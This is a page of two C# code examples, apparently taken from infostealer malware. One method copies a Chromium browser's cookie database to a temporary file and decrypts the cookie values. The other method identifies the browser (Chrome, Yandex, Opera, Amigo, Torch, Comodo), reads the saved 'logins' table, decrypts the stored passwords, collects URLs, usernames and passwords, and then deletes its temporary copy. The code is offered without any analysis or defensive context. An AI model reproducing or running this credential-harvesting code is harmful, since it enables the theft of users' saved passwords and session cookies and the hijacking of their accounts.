コード例 #1
0
        private static List <Cookie> GetCookies(string basePath)
        {
            if (!File.Exists(basePath))
            {
                return(null);
            }
            List <Cookie> result;

            try
            {
                string text = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
                if (File.Exists(text))
                {
                    File.Delete(text);
                }
                File.Copy(basePath, text, true);
                Sqlite sqlite = new Sqlite(text);
                sqlite.ReadTable("cookies");
                List <Cookie> list = new List <Cookie>();
                for (int i = 0; i < sqlite.GetRowCount(); i++)
                {
                    try
                    {
                        string value = string.Empty;
                        try
                        {
                            byte[] bytes = Chromium.DecryptChromium(Encoding.Default.GetBytes(sqlite.GetValue(i, 12)), null);
                            value = Encoding.UTF8.GetString(bytes);
                        }
                        catch (Exception)
                        {
                        }
                        bool flag;
                        bool.TryParse(sqlite.GetValue(i, 6), out flag);
                        list.Add(new Cookie
                        {
                            domain         = sqlite.GetValue(i, 1),
                            name           = sqlite.GetValue(i, 2),
                            path           = sqlite.GetValue(i, 4),
                            expirationDate = sqlite.GetValue(i, 5),
                            secure         = flag.ToString().ToUpper(),
                            value          = value,
                            hostOnly       = "TRUE"
                        });
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                    }
                }
                result = list;
            }
            catch
            {
                result = new List <Cookie>();
            }
            return(result);
        }
コード例 #2
0
        private static List <PassData> Get(string basePath)
        {
            if (!File.Exists(basePath))
            {
                return(null);
            }
            string program = "";

            if (basePath.Contains("Chrome"))
            {
                program = "Google Chrome";
            }
            if (basePath.Contains("Yandex"))
            {
                program = "Yandex Browser";
            }
            if (basePath.Contains("Orbitum"))
            {
                program = "Orbitum Browser";
            }
            if (basePath.Contains("Opera"))
            {
                program = "Opera Browser";
            }
            if (basePath.Contains("Amigo"))
            {
                program = "Amigo Browser";
            }
            if (basePath.Contains("Torch"))
            {
                program = "Torch Browser";
            }
            if (basePath.Contains("Comodo"))
            {
                program = "Comodo Browser";
            }
            List <PassData> result;

            try
            {
                string text = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
                if (File.Exists(text))
                {
                    File.Delete(text);
                }
                File.Copy(basePath, text, true);
                Sqlite          sqlite = new Sqlite(text);
                List <PassData> list   = new List <PassData>();
                sqlite.ReadTable("logins");
                for (int i = 0; i < sqlite.GetRowCount(); i++)
                {
                    try
                    {
                        string text2 = string.Empty;
                        try
                        {
                            byte[] bytes = DecryptChromium(Encoding.Default.GetBytes(sqlite.GetValue(i, 5)), null);
                            text2 = Encoding.UTF8.GetString(bytes);
                        }
                        catch (Exception)
                        {
                        }
                        if (text2 != "")
                        {
                            list.Add(new PassData
                            {
                                Url      = sqlite.GetValue(i, 1).Replace("https://", "").Replace("http://", ""),
                                Login    = sqlite.GetValue(i, 3),
                                Password = text2,
                                Program  = program
                            });
                        }
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                    }
                }
                File.Delete(text);
                result = list;
            }
            catch (Exception ex2)
            {
                Console.WriteLine(ex2.ToString());
                result = null;
            }
            return(result);
        }